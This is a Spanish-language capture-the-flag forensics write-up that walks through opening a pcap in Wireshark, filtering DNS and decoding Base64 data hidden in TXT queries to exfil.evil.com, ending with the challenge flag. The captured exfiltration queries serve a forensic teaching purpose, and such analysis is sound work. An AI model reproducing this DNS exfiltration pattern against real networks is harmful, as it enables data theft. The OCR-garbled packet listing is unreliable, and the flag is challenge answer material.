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Categoria Forense
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DESCRIPCION DEL RETO

Ha ocurrido un incidente de seguridad donde los datos de tu empresa han sido
comprometidos. Se han recuperado trazas de trafico sospechosas que nos pueden dar
una pista de que datos se han visto afectados. Analiza la captura de trafico y averigua
como los datos se han visto afectados.

WRITEUP
1. Elreto empieza con una captura de trafico llamada challenge.pcap.

)-[/tmp/challenge]
challenge.pcap
)-[/tmp/challenge]

challenge.pcap
challenge.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)

( )-[/tmp/challenge]

2. Analizamos la captura con un analizador de trafico de red como Wireshark.
Ejecutamos el siguiente comando para analizar la captura con Wireshark:

wireshark challenge.pcap &

3. Se abrird la captura en Wireshark.
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No. Time De: Length Info

1 0.800008 255 150 49154 . 25860 LEN=108
2 8.838555 2,124, g 66 41214 . B8 [ACK] S6q-1 Ack=1 Win=54G Len-B TSval-1107735348 TSecr-2443048615

46485584 - (P 116 Information-request AL0: Gx76835 CID: GOBA404C6DE150327656200€0C1ChIAIABAC
5 6.485733 ] H 335 DHCP Request - Transaction ID exc7d1fsaz
6 6.485809 e80: : 607 :dl6e 02::16 116 Multicast er Report Hessage v2
553455 1 ffo2::1:ffca:688a 86 Neighbor Solicitation for feso::6ee7:dfGe:2ica:688a from 99:16:ba:60:a8:98
-5 €80: : 687 :df6e feBg::1 86 Neighbor Advertisement fes::0ee7:df6e:z1cd:6BBa (sol, ovr) is at 2B:icd:cd:11:5¢ich
5 6.564813 168.166.1 192.168.166.126 o 596 DHCP ACK Transaction 10 8xc7d1f832
10 6.567738 e80: 11 8: : 687 : df6e: 21c 86 Meighbor Solicitation for feB®::6ed7:dffe:21cd:688a From 96:16:ba:60:as:08
11 6.567762 6007 :df6e:2 P 78 Neighbor Advertisement fe8d::6ee7:dfée:2icd:688a (sol)
12 6.571080 1 fen: :bea7 :df6e:21c.. 186 Reply XID: Bx70B35T CID: 88944d3e6be1503276562dde0C1chInI164C
13 6.757117 8.168.125 5. 255 158 49154 .. 25860 Len=188

14 7.134784 ChenggingFug 11: 42 who has 192.168.186.17 Tell 182.168.106.126
TodaairElect 06:ba: ngai 42 192,168.100.9 is at 74:96:3 106
HuaweiTechno_68:a8: i 1501, ARP 60 192,166.100.1 is at 90:16:ba:60
182.168.108.126 34.126.208.123 1158 Application Data, Applicati

168 é 168 166 TCHP 5 5 ble (Po

1) 152,168,160, 1 192 T c ation unreacha anr eachs

19 7,138718 152.168.100, 126 192,168.100.1 58 SLandard query DXCCLR A sATEDOWSING,0o0QLEapLs, con OPT

20 7.138721 192,168,100, 126 98 Standard query 0x3591 AAAA safebrowsing.googleapis.com OPT

217.148454 34.128.208.123 66 443 . 48728 [ACK] Seq=1 Ack=1093 Win=1825 Len=B TSval=3491257927 TSecr=1864573088

22 7.152218 152.168. 1601 192,168, 166,126 114 Standard query response Bxccla A safebrowsing.googleapis.com A 216.58.214.178 OPT
152.168.160.126 216.58.214.178 74 37636 — 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK PERM TSval=3494499181 TSecr= WS=128

FFLFF:FF)

4. En esta captura se encuentra trafico sospechoso de exfiltracién de datos por
DNS. Por tanto, filtramos por paquetes DNS usando el filtro de busqueda.

Aguy:

5. Buscamos una query sospechosa con dominio exfil.evil.com.

o i Ay e WA A e A e s s A e e
DNS 115 Standard query response 8xbbb3 A profile.accounts.firefox.com A 34.116.207.168 OPT

DNS 180 Standard query response 0xbde® AAAA profile.accounts.firefox.com SOA ns-766.awsdns-31.net OPT

DNS 134 standard query ©0xf854 TXT VUdSXEOVUUGLJIVFIDVEYYNXtKkTnNfZXhGMWxUckBUMTBUfQo=.exfil.evil.com OPT

DNS 451 Standard query response 0xf854 Server failure TXT VUdSXOVUUBL1JIVFIDVEYyNXtkTnNfZXhGMWxUckBUMTBufQo=.exfil.evil.com OPT
DNS 134 Standard query 0xf854 TXT VUdSXGVUUGLIVFIDVEYYNXtkTnNfZXhGMWxUckBUMTBufQo=.exfil.evil.com OPT

DNS 273 Standard query response 0xf854 Server failure TXT VUdSXOVUU®LJIVFIDVEYyNXtkTnNfZXhGMWxUckBUMTBufQo=.exfil.evil.com OPT
DNS 123 standard query ©0xf854 TXT VUdSXOVUUGLIVFIDVEYYNXtkTnNfZXhGMWxUckBUMTBufQo=.exfil.evil.com

DNS 123 Standard query response 8xf854 Server failure TXT VUdSXOVUUB1JIVFIDVEYyNXtkTnNfZXhGMWxUckBUMTBufQo=.exfil.evil.com

6. Nos fijamos que en las queries DNS hay empotradas un texto codificado en
Base64: VUdSXOVUUOIVFIDVEYyNXtkTnNfZXhGMWxUckBUMTBufQo-=.
7. Sidecodificamos la cadena usando Cyberchef obtenemos finalmente la flag.

WUASXeVUUBLIVFIDVEYYNX thTnif ZXhGMIUCkBUMTEUF O

From Base64 -

Remove non-alphabet chars [ Strict mode

Qutput

_ETSIIT_CTF25{dNs_exF11Tr@T1en}
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